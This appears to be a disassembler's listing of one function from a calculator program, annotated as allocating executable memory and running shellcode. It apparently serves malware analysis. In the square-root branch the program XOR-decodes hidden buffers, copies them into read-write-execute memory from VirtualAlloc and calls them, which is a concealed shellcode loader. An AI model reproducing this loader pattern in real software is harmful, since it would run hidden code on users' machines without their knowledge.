Function at 0x401ac7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
movaps xmmword [rbp - 0x10], xmm6
lea rdx, str._n_ADVANCED_OPERATIONS__n
mov rcx, qword [0x004b89d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, str.1._Power_n
mov rcx, qword [0x004b89d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, str.2._Square_Root_n
mov rcx, qword [0x004b89d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, str.3._Modulo_n
mov rcx, qword [0x004b89d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, str.Enter_your_choice:
mov rcx, qword [0x004b89d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x24]
mov rdx, rax
mov rcx, qword [0x004b89a0]
call method.std::istream.operator___int_
mov eax, dword [rbp - 0x24]
cmp eax, 1
je 0x401b5b
cmp eax, 2
je 0x401be7
jmp 0x401d42
lea rdx, str.Enter_base_and_exponent:
mov rcx, qword [0x004b89d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x30]
mov rdx, rax
mov rcx, qword [0x004b89a0]
call method.std::istream.operator___double_
mov rcx, rax
lea rax, [rbp - 0x38]
mov rdx, rax
call method.std::istream.operator___double_
mov rdx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x48], rdx
movsd xmm1, qword [rbp - 0x48]
mov qword [rbp - 0x48], rax
movsd xmm0, qword [rbp - 0x48]
call sym.power_double__double_
movapd xmm6, xmm0
lea rdx, str.Result:
mov rcx, qword [0x004b89d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
movapd xmm1, xmm6
mov rcx, rax
call method.std::ostream.operator___double_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
nop
jmp 0x401d42
lea rdx, str.Enter_a_number:
mov rcx, qword [0x004b89d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x40]
mov rdx, rax
mov rcx, qword [0x004b89a0]
call method.std::istream.operator___double_
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x48], rax
movsd xmm0, qword [rbp - 0x48]
call sym.squareRoot_double_
movapd xmm6, xmm0
lea rdx, str.Result:
mov rcx, qword [0x004b89d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
movapd xmm1, xmm6
mov rcx, rax
call method.std::ostream.operator___double_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
movzx eax, byte [0x00473041]
movzx eax, al
mov r8d, eax
mov edx, 0x11
lea rcx, [0x00488cc0]
call sym.xor_decode_unsigned_char__unsigned_long_long__unsigned_char_
movzx eax, byte [0x00473040]
movzx eax, al
mov r8d, eax
mov edx, 0x11
lea rcx, [0x00488cc0]
call sym.xor_decode_unsigned_char__unsigned_long_long__unsigned_char_
movzx eax, byte [0x00473041]
movzx eax, al
mov r8d, eax
mov edx, 0x15c3a
lea rcx, [0x00473080]
call sym.xor_decode_unsigned_char__unsigned_long_long__unsigned_char_
movzx eax, byte [0x00473040]
movzx eax, al
mov r8d, eax
mov edx, 0x15c3a
lea rcx, [0x00473080]
call sym.xor_decode_unsigned_char__unsigned_long_long__unsigned_char_
mov qword [rbp - 0x18], 0x15c4b
mov rax, qword [rbp - 0x18]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov rdx, qword [0x00488cc0]
mov qword [rax], rdx
mov rdx, qword [0x00488cc8]
mov qword [rax + 8], rdx
movzx edx, byte [0x00488cd0]
mov byte [rax + 0x10], dl
mov rax, qword [rbp - 0x20]
add rax, 0x11
mov rcx, rax
lea rax, [0x00473080]
mov edx, 0x15c3a
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp - 0x20]
call rax
nop
movaps xmm6, xmmword [rbp - 0x10]
add rsp, 0x70
pop rbp
ret